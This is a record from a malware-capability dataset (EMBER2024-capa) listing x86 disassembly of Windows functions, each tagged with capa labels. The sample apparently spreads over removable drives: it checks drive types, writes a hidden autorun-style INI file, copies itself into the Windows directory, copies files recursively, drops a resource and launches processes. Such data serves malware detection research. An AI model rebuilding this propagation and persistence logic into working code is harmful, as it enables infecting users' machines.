joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404116
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
push dword [ebp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0x4022a4
push eax
call sub.MSVCRT.dll_sprintf
push 0x4022a0
push dword [ebp + 8]
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x14
cmp esi, ebx
jne 0x40416b
xor eax, eax
jmp 0x404203
lea edi, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
push 2
repne scasb al, byte es:[edi]
not ecx
dec ecx
neg ecx
push ecx
push esi
call sub.MSVCRT.dll_fseek
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x208]
push 0x104
push eax
call sub.MSVCRT.dll_fread
add esp, 0x1c
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4041fa
push 2
push ebx
push esi
call sub.MSVCRT.dll_fseek
lea edi, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
lea eax, [ebp - 0x104]
push ecx
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x1c
push 1
pop ebx
push esi
call sub.MSVCRT.dll_fclose
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4042bf
Capabilities:
Get disk information

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
test eax, eax
mov dword [esp + 0x10], eax
je 0x40437c
xor ebp, ebp
mov ebx, 0x407f88
mov eax, dword [esp + 0x10]
and eax, 1
cmp al, 1
jne 0x404344
lea eax, [ebp + 0x43]
push eax
push 0x4022b8
push ebx
call sub.MSVCRT.dll_sprintf
mov edi, 0x4022b4
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x404344
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x404350
shr dword [esp + 0x10], 1
inc ebp
cmp ebp, 0x28
jl 0x4042dd
jmp 0x40437c
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x407f84
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004043b2
call fcn.0040450f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x404384
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [0x407f90], 0
jne 0x4043b1
push esi
mov esi, 0x406bf4
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [0x407f90], 1
pop esi
ret
Function at 0x4043b2
Capabilities:
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0
call sub.MSVCRT.dll_time
push eax
call sub.MSVCRT.dll_srand
and byte [ebp - 0xc], 0
xor eax, eax
lea edi, [ebp - 0xb]
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor esi, esi
stosw word es:[edi], ax
call sub.MSVCRT.dll_rand
push 0x3e
xor edx, edx
pop ecx
div ecx
inc esi
cmp esi, 0xa
mov al, byte [edx + 0x402ea0]
mov byte [ebp + esi - 0xd], al
jl 0x4043d9
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, 0x407bd4
push 0x407f84
push edi
call esi
push edi
mov edi, 0x406cfc
push edi
call esi
push edi
push 0x4078c8
call esi
mov ebx, 0x406bf4
push edi
push ebx
call esi
push 0x4022c0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
mov edi, 0x406e00
push edi
call esi
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0x10
jne 0x404458
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x404473
call fcn.00404384
push 0x4022bc
push ebx
call sub.MSVCRT.dll_fopen
pop ecx
test eax, eax
pop ecx
jne 0x404473
call fcn.0040449e
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40449e
Capabilities:
Set file attributes

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, 0x4078c8
push 0x4022c0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push esi
push 0x402344
mov ebx, 0x40233c
push 0x402330
push ebx
call edi
mov ebp, 0x4016bc
push esi
push ebp
push 0x40231c
push ebx
call edi
push esi
push 0x402318
push 0x402304
push ebx
call edi
push esi
push 0x4022f4
push 0x4022e4
push ebx
call edi
push esi
push ebp
push 0x4022cc
push ebx
call edi
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40450f
Capabilities:
Copy file
Create directory
Set file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push edi
mov ebx, 0x407bd4
push 0x402370
push ebx
call ebp
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x10]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x10]
push 0x402360
push eax
call ebp
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push 0x402350
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 0x407d78
mov edx, ecx
mov esi, edi
mov edi, eax
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
push 0
push 0x407d78
push 0x407e7c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x4045db
Capabilities:
Create process on windows

Disassembly:
push esi
push 0
mov esi, 0x4069e4
push 0
push esi
push 0x4018c4
push 0
call dword [fcn.00406cf8]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop esi
ret

Function at 0x404614
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
and byte [ebp - 0x200], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x1ff]
rep stosd dword es:[edi], eax
and byte [ebp - 0x100], 0
push 0x3f
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x100]
push 0x4023c8
push eax
call sub.MSVCRT.dll_sprintf
and byte [ebp - 0x300], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ff]
push 0x4019c8
rep stosd dword es:[edi], eax
push dword [ebp + 8]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x300]
push 0x4023a0
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x20
lea eax, [ebp - 0x300]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 1
pop eax
pop edi
leave
ret

Function at 0x404988
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp byte [ebp - 0x190], 2
jne 0x4049bd
xor eax, eax
mov al, byte [ebp - 0x18f]
cmp al, 2
jne 0x4049bd
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x4051d8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push ebx
push esi
lea eax, [ebp - 0x318]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, 0x402690
lea edi, [ebp - 0x110]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
call sub.MSVCRT.dll_time
push eax
call sub.MSVCRT.dll_srand
and byte [ebp - 0xc], 0
xor eax, eax
lea edi, [ebp - 0xb]
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor esi, esi
stosw word es:[edi], ax
call sub.MSVCRT.dll_rand
push 0x3e
xor edx, edx
pop ecx
div ecx
inc esi
cmp esi, 0xa
mov al, byte [edx + 0x402ea0]
mov byte [ebp + esi - 0xd], al
jl 0x405231
or ebx, 0xffffffff
lea edi, [ebp - 0xc]
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x214]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x401fb8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x110]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x110]
dec ecx
push ecx
push eax
call fcn.004045ac
lea edi, [ebp - 0x110]
mov ecx, ebx
xor eax, eax
lea edx, [ebp - 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x318]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x214]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x318]
mov ecx, edx
push eax
and ecx, 3
push dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
call fcn.00404ffc
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405759
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
push ebp
push esi
mov ebp, 0x104
push edi
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov ebx, 0x407ad0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4028a4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x118]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [esp + 0x118]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x405b29
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
mov ebx, 0x104
push edi
lea eax, [ebp - 0x30c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x402900
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x30c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x3c
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x402410
lea edi, [ebp - 0x104]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop ecx
lea edi, [ebp - 0xf1]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, 0x402404
lea edi, [ebp - 0x208]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0x3e
xor eax, eax
pop ecx
lea edi, [ebp - 0x1fd]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0x208]
or ecx, 0xffffffff
xor eax, eax
mov esi, 0x401fb8
repne scasb al, byte es:[edi]
not ecx
dec ecx
push esi
dec ecx
lea eax, [ebp - 0x208]
push ecx
push eax
call fcn.004045ac
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x407cdc], eax
lea edi, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push esi
dec ecx
lea eax, [ebp - 0x104]
push ecx
push eax
call fcn.004045ac
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push dword [0x407cdc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
lea ecx, [ebp - 0x30c]
push edi
push edi
push ecx
push 0x401bcc
push edi
mov dword [0x407d74], eax
call eax
lea eax, [ebp - 0x30c]
push 0x4022bc
push eax
call sub.MSVCRT.dll_fopen
pop ecx
cmp eax, edi
pop ecx
je 0x405ca9
push eax
lea eax, [ebp - 0x410]
push ebx
push eax
call sub.MSVCRT.dll_fgets
add esp, 0xc
mov esi, 0x4028fc
lea eax, [ebp - 0x410]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x405c8f
test cl, cl
je 0x405c8b
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x405c8f
inc eax
inc eax
inc esi
inc esi
test cl, cl
jne 0x405c6d
xor eax, eax
jmp 0x405c94
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x405ca9
push edi
push edi
push 0x401dd4
push dword [ebp + 8]
push edi
call dword [0x407d74]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405fae
Capabilities:
Read file via mapping

Disassembly:
mov ecx, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x10]
mov eax, edi
shr eax, 0x16
mov eax, dword [ecx + eax*4]
mov ecx, eax
and ecx, 1
test cl, cl
je 0x406013
mov ecx, eax
and cx, 0x80
test cl, cl
je 0x405fe2
mov esi, eax
xor esi, edi
and esi, 0x3fffff
xor esi, eax
jmp 0x40602a
and ax, 0xf000
push 0x1000
push eax
push 0
push 4
push dword [0x407fac]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, edi
shr ecx, 0xc
and ecx, 0x3ff
mov ecx, dword [eax + ecx*4]
mov edx, ecx
and edx, 1
test dl, dl
jne 0x406017
xor eax, eax
jmp 0x40602c
mov esi, ecx
push eax
xor esi, edi
and esi, 0xfff
xor esi, ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, esi
pop edi
pop esi
ret

Function at 0x40602f
Capabilities:
Read file via mapping

Disassembly:
push esi
push dword [esp + 8]
push dword [0x407fa8]
call fcn.00405fae
pop ecx
mov esi, eax
pop ecx
and ax, 0xf000
push 0x1000
push eax
push 0
push 6
push dword [0x407fac]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
jne 0x406063
pop esi
ret
shr esi, 2
and esi, 0x3ff
push eax
mov esi, dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, esi
pop esi
ret

Function at 0x406311
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetForegroundWindow]
push edi
call esi
push dword [ebp + 0xc]
xor ebx, ebx
mov edi, eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.USER32.dll_FindWindowExA]
test eax, eax
je 0x406386
push ebx
push ebx
push 0x10
push edi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
push 0x40
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0x104
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
push ebx
push ebx
push ebx
push 0xd
call dword [sym.imp.USER32.dll_keybd_event]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4063e2
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push edi
push 0x50
pop ecx
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0x144]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x34c]
push 0x402e68
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x406434
xor al, al
jmp 0x4065bd
push ebx
push esi
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov ebx, eax
mov esi, 0x402e64
neg ebx
sbb bl, bl
lea eax, [ebp - 0x118]
inc bl
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40647b
test cl, cl
je 0x406477
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40647b
inc eax
inc eax
inc esi
inc esi
test cl, cl
jne 0x406459
xor eax, eax
jmp 0x406480
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4065a8
mov esi, 0x402e60
lea eax, [ebp - 0x118]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4064b5
test cl, cl
je 0x4064b1
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4064b5
inc eax
inc eax
inc esi
inc esi
test cl, cl
jne 0x406493
xor eax, eax
jmp 0x4064ba
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4065a8
lea edi, [ebp - 0x118]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x450]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
test byte [ebp - 0x144], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x4065a8
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x248]
push dword [ebp + 8]
push 0x402e58
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x15e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x402e4c
lea eax, [ebp - 0x248]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40654f
test cl, cl
je 0x40654b
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40654f
inc eax
inc eax
inc esi
inc esi
test cl, cl
jne 0x40652d
xor eax, eax
jmp 0x406554
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4065a8
mov esi, 0x402e30
lea eax, [ebp - 0x248]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406585
test cl, cl
je 0x406581
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406585
inc eax
inc eax
inc esi
inc esi
test cl, cl
jne 0x406563
xor eax, eax
jmp 0x40658a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4065a8
lea eax, [ebp - 0x248]
push eax
call fcn.004063e2
lea eax, [ebp - 0x248]
push eax
call fcn.00406675
pop ecx
pop ecx
test bl, bl
je 0x406436
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
xor al, al
pop ebx
pop edi
leave
ret
Function at 0x4065c0
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
lea eax, [ebp - 0x3c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x402e74
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x3c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x402e70
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 0x65
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
je 0x406670
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
cmp ebx, esi
je 0x406670
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp - 0x3c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x406670
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406675
Capabilities:
Copy file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
lea eax, [ebp - 0x34]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
or edx, 0xffffffff
mov edi, 0x402e74
mov ecx, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [ebp - 0x34]
mov esi, edi
mov edi, ebx
mov ebx, ecx
mov ecx, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [ebp + 8]
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov edi, 0x402e8c
mov ecx, edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov dword [ebp + 8], eax
mov edi, ebx
mov ecx, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 8]
dec edi
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x34]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x402e88
call sub.MSVCRT.dll_printf
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406786
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402f20
push 0x4068c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x407fc8], 0xffffffff
or dword [0x407fcc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x407fc4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x407fc0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x407fd0], eax
call fcn.004068b7
cmp dword [0x402e9c], 0
jne 0x406809
push 0x4068b4
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.004068a2
push 0x4011c8
push 0x4011c4
call sub.MSVCRT.dll__initterm
mov eax, dword [0x407fbc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x407fb8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x4011c0
push 0x4011bc
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00402f30
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret